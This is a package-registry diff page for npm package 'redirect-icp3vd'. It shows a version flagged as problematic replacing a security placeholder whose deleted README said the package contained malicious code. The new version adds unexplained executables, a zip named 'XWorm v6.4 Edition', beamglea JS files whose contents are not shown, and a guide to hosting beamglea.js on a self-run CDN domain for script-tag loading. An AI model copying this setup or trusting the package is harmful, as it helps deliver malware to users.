redirect-icp3vd 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of redirect-icp3vd might be problematic. Click here for more details.
- package/beamglea.js +7 -0
- package/beamglea_e9hohk.js +7 -0
- package/beamglea_template.js +7 -0
- package/cdn.exe +0 -0
- package/cdn_setup_guide.txt +123 -0
- package/cdnn.exe +0 -0
- package/main.exe +0 -0
- package/mainapp2.exe +0 -0
- package/mainapp21.exe +0 -0
- package/output/Goldenquid information.html +10 -0
- package/output/XWorm v6.4 Edition.zip +0 -0
- package/package.json +5 -6
- package/redirect.exe +0 -0
- package/redirect_generator.exe +0 -0
- package/README.md +0 -5
package/beamglea.js
ADDED
package/cdn.exe
ADDED
|
Binary file
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
+++ 💡 SET UP YOUR OWN CUSTOM CDN ON A VPS +++
|
|
2
|
+
|
|
3
|
+
This guide helps you host your own static CDN to avoid using third-party services like unpkg.
|
|
4
|
+
|
|
5
|
+
✅ Prerequisites:
|
|
6
|
+
-----------------
|
|
7
|
+
- A VPS (Ubuntu/Debian preferred)
|
|
8
|
+
- A domain name (e.g., beamcdn.com)
|
|
9
|
+
- Basic SSH and terminal usage
|
|
10
|
+
- A JS file ready to be served (e.g., beamglea.js)
|
|
11
|
+
|
|
12
|
+
=======================
|
|
13
|
+
1️⃣ POINT YOUR DOMAIN
|
|
14
|
+
=======================
|
|
15
|
+
- Go to your domain registrar (e.g., Namecheap, GoDaddy)
|
|
16
|
+
- Add an A record:
|
|
17
|
+
- Name: @ or cdn
|
|
18
|
+
- Type: A
|
|
19
|
+
- Value: <your VPS IP>
|
|
20
|
+
|
|
21
|
+
Example:
|
|
22
|
+
---------
|
|
23
|
+
Type: A
|
|
24
|
+
Host: cdn
|
|
25
|
+
Value: 123.45.67.89
|
|
26
|
+
|
|
27
|
+
Wait for DNS to propagate (can take 10 mins - 1 hr)
|
|
28
|
+
|
|
29
|
+
===============================
|
|
30
|
+
2️⃣ INSTALL NGINX ON THE VPS
|
|
31
|
+
===============================
|
|
32
|
+
SSH into your VPS:
|
|
33
|
+
|
|
34
|
+
ssh root@your_vps_ip
|
|
35
|
+
|
|
36
|
+
Install NGINX:
|
|
37
|
+
|
|
38
|
+
sudo apt update
|
|
39
|
+
sudo apt install nginx -y
|
|
40
|
+
|
|
41
|
+
Start and enable it:
|
|
42
|
+
|
|
43
|
+
sudo systemctl enable nginx
|
|
44
|
+
sudo systemctl start nginx
|
|
45
|
+
|
|
46
|
+
===============================
|
|
47
|
+
3️⃣ SET UP STATIC FILE HOSTING
|
|
48
|
+
===============================
|
|
49
|
+
|
|
50
|
+
Create a folder for your JS/CDN files:
|
|
51
|
+
|
|
52
|
+
sudo mkdir -p /var/www/beamcdn
|
|
53
|
+
sudo chown -R $USER:$USER /var/www/beamcdn
|
|
54
|
+
|
|
55
|
+
Copy your JS file(s) into it:
|
|
56
|
+
|
|
57
|
+
scp beamglea.js root@your_vps_ip:/var/www/beamcdn/
|
|
58
|
+
|
|
59
|
+
===============================
|
|
60
|
+
4️⃣ CONFIGURE NGINX
|
|
61
|
+
===============================
|
|
62
|
+
|
|
63
|
+
Create a new config file:
|
|
64
|
+
|
|
65
|
+
sudo nano /etc/nginx/sites-available/beamcdn
|
|
66
|
+
|
|
67
|
+
Paste this config:
|
|
68
|
+
|
|
69
|
+
server {
|
|
70
|
+
listen 80;
|
|
71
|
+
server_name cdn.first-rectispanatur.com;
|
|
72
|
+
|
|
73
|
+
root /var/www/beamcdn;
|
|
74
|
+
index index.html;
|
|
75
|
+
|
|
76
|
+
location / {
|
|
77
|
+
try_files $uri $uri/ =404;
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
Save and exit (CTRL+O, ENTER, CTRL+X)
|
|
82
|
+
|
|
83
|
+
Enable it:
|
|
84
|
+
|
|
85
|
+
sudo ln -s /etc/nginx/sites-available/beamcdn /etc/nginx/sites-enabled/
|
|
86
|
+
|
|
87
|
+
Test and reload:
|
|
88
|
+
|
|
89
|
+
sudo nginx -t
|
|
90
|
+
sudo systemctl reload nginx
|
|
91
|
+
|
|
92
|
+
===============================
|
|
93
|
+
5️⃣ ACCESS YOUR FILES
|
|
94
|
+
===============================
|
|
95
|
+
|
|
96
|
+
Now you can access your JS like this:
|
|
97
|
+
|
|
98
|
+
https://cdn.first-rectispanatur.com/beamglea.js
|
|
99
|
+
|
|
100
|
+
===============================
|
|
101
|
+
6️⃣ (OPTIONAL) ENABLE HTTPS
|
|
102
|
+
===============================
|
|
103
|
+
|
|
104
|
+
Install Certbot:
|
|
105
|
+
|
|
106
|
+
sudo apt install certbot python3-certbot-nginx -y
|
|
107
|
+
|
|
108
|
+
Run:
|
|
109
|
+
|
|
110
|
+
sudo certbot --nginx -d cdn.first-rectispanatur.com
|
|
111
|
+
|
|
112
|
+
Follow the prompts. Now your CDN is secure with HTTPS.
|
|
113
|
+
|
|
114
|
+
===============================
|
|
115
|
+
✅ DONE! USE YOUR OWN CDN!
|
|
116
|
+
===============================
|
|
117
|
+
|
|
118
|
+
You can now publish and serve any JS file from your own domain.
|
|
119
|
+
|
|
120
|
+
Example:
|
|
121
|
+
<script src="https://cdn.yourdomain.com/beamglea.js"></script>
|
|
122
|
+
|
|
123
|
+
+++ Keep this file safe and follow it step-by-step +++
|
package/cdnn.exe
ADDED
|
Binary file
|
package/main.exe
ADDED
|
Binary file
|
package/mainapp2.exe
ADDED
|
Binary file
|
package/mainapp21.exe
ADDED
|
Binary file
|
|
Binary file
|
package/package.json
CHANGED
|
@@ -1,6 +1,5 @@
|
|
|
1
|
-
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
}
|
|
1
|
+
{
|
|
2
|
+
"name": "redirect-icp3vd",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "beamglea.js"
|
|
5
|
+
}
|
package/redirect.exe
ADDED
|
Binary file
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=redirect-icp3vd for more information.
|